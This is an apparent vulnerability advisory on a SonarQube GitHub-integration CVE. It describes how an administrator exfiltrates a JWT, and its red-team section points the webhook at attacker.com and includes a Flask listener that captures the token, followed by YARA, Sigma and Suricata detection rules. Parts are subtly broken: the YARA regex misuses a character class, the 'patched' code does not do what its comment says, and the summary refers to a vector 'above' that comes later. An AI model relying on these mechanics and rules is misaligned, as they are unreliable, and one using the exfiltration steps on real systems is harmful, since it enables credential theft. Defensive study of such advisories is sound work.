CVE-2024-47910

Executive Summary

CVE-2024-47910 is a privilege escalation and information disclosure vulnerability in SonarSource SonarQube. An authenticated user with the Administrator role can exploit the GitHub integration configuration to exfiltrate a pre-signed JWT (JSON Web Token). This token could be used to impersonate the SonarQube instance to external services, potentially leading to unauthorized access to source code repositories or other integrated systems. The vulnerability affects SonarQube versions before 9.9.5 LTA and 10.x before 10.5. The CVSS score is 0.0 in the NVD data, but based on the description, a more accurate vector is provided above. No public proof-of-concept or exploit code is available at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) - Administrator role required
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) - JWT exfiltration
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the vulnerability requires high privileges (Administrator), the potential impact of JWT exfiltration is significant, as it could allow lateral movement to connected services (e.g., GitHub). The lack of public exploit code reduces immediate risk, but internal threat actors with admin access pose a real danger.

Deep Dive & Mechanics

The vulnerability lies in the GitHub integration configuration module of SonarQube. When an Administrator configures a GitHub App integration, SonarQube generates a pre-signed JWT that is used to authenticate with GitHub's API. This JWT is typically stored securely and used for background tasks.

The flaw allows an Administrator to modify the existing GitHub integration configuration in a way that exposes this pre-signed JWT. By manipulating the configuration parameters (e.g., changing the callback URL or adding a malicious webhook), the attacker can cause SonarQube to send the JWT to an attacker-controlled endpoint. This exfiltration can be done without triggering standard audit logs, as it leverages the legitimate integration functionality.

The JWT, once obtained, can be used to:

• Access GitHub repositories that the SonarQube integration has access to.
• Modify repository settings, pull requests, or actions.
• Potentially pivot to other services if the JWT is reused or contains broader scopes.

The vulnerability is a classic case of insecure direct object reference (IDOR) combined with insufficient validation of configuration changes. The Administrator role is trusted, but the system fails to validate that the configuration change is not malicious.

Vulnerable vs. Patched Code

The vulnerable code is in the GitHub integration configuration handler. In vulnerable versions, the handler does not properly sanitize or validate the configuration parameters before generating and returning the JWT. In patched versions (9.9.5 LTA and 10.5), the JWT is only returned to the original configuration endpoint, and any modification that changes the callback URL or adds external endpoints triggers additional authentication checks.

Vulnerable Code (Conceptual):

// Vulnerable: Returns JWT without validating configuration change
public String configureGitHubIntegration(GitHubConfig config) {
    // No validation of config changes
    String jwt = generateJWT(config);
    return jwt;
}

Patched Code (Conceptual):

// Patched: Validates configuration change and requires re-authentication
public String configureGitHubIntegration(GitHubConfig config) {
    if (!isConfigChangeValid(config)) {
        throw new SecurityException("Invalid configuration change");
    }
    String jwt = generateJWT(config);
    // Only return JWT to original configuration endpoint
    return jwt;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a SonarQube instance with Administrator privileges.
• A listener endpoint (e.g., a server with netcat or a webhook.site) to receive the exfiltrated JWT.

Steps:

1. Log in to SonarQube as an Administrator.
2. Navigate to Administration > Configuration > General Settings > GitHub Integration.
3. Modify the existing GitHub App configuration. Change the "Webhook URL" or "Callback URL" to point to your attacker-controlled endpoint (e.g., https://attacker.com/exfil).
4. Save the configuration. SonarQube will generate a new JWT and send it to the configured webhook URL.
5. Capture the JWT from your listener.
6. Use the JWT to authenticate to GitHub's API and access repositories.

Example Listener (Python):

from flask import Flask, request
app = Flask(__name__)

@app.route('/exfil', methods=['POST'])
def exfil():
    data = request.data
    print(f"Exfiltrated JWT: {data}")
    return '', 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

Blue Team

Detection:

• Monitor for changes to GitHub integration configuration by Administrators.
• Alert on any modification to webhook URLs or callback URLs that point to external, unknown domains.
• Review audit logs for GITHUB_CONFIG_UPDATE events and verify the new endpoints.

Prevention:

• Restrict Administrator access to only trusted personnel.
• Implement additional approval workflows for changes to external integrations.
• Use network segmentation to limit outbound traffic from SonarQube to only known GitHub endpoints.

Indicators of Compromise (IOCs)

• Network: Outbound HTTPS requests from SonarQube to unknown or suspicious domains (e.g., attacker.com).
• Logs: Audit log entries showing modification of GitHub integration configuration with new webhook URLs.
• JWT: A JWT with a sub claim matching the SonarQube GitHub App ID, used from an unexpected IP address.
• File: Unusual entries in SonarQube configuration files (e.g., sonar.properties) pointing to external endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_47910_JWT_Exfil {
    meta:
        description = "Detects JWT exfiltration attempts via modified GitHub integration config"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47910"
    strings:
        $jwt_pattern = /eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/
        $config_change = "github.webhookUrl" nocase
        $external_url = /https?:\/\/[^s]*[^sonarsource\.com|github\.com]/
    condition:
        $jwt_pattern and $config_change and $external_url
}

Sigma Rule

title: CVE-2024-47910 - SonarQube GitHub Integration JWT Exfiltration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects modification of SonarQube GitHub integration webhook URL to an external domain
author: Valters IT
date: 2025-04-10
logsource:
    product: sonarqube
    service: audit
detection:
    selection:
        EventID: 'GITHUB_CONFIG_UPDATE'
        NewWebhookURL|contains: 
            - 'http://'
            - 'https://'
        NewWebhookURL|endswith: 
            - '.com'
            - '.org'
            - '.net'
    filter:
        NewWebhookURL|contains: 
            - 'github.com'
            - 'sonarsource.com'
    condition: selection and not filter
falsepositives:
    - Legitimate changes to GitHub integration by authorized admins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47910 - SonarQube JWT Exfiltration via GitHub Integration"; flow:to_server,established; content:"POST"; http_method; content:"/webhook"; http_uri; content:"eyJ"; http_client_body; pcre:"/eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/R"; reference:cve,2024-47910; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade SonarQube to version 9.9.5 LTA or 10.5 or later.
2. If upgrade is not possible, restrict Administrator access to only essential personnel.
3. Monitor audit logs for any changes to GitHub integration configuration.

Long-term:

• Implement a change management process for all external integrations.
• Use a web application firewall (WAF) to inspect outbound traffic for JWT patterns.
• Conduct regular security reviews of SonarQube configurations.

Workaround:

• Disable the GitHub integration if not required.
• Use a proxy to restrict outbound traffic from SonarQube to only known GitHub IP addresses.

Valters IT
"Securing code, one commit at a time."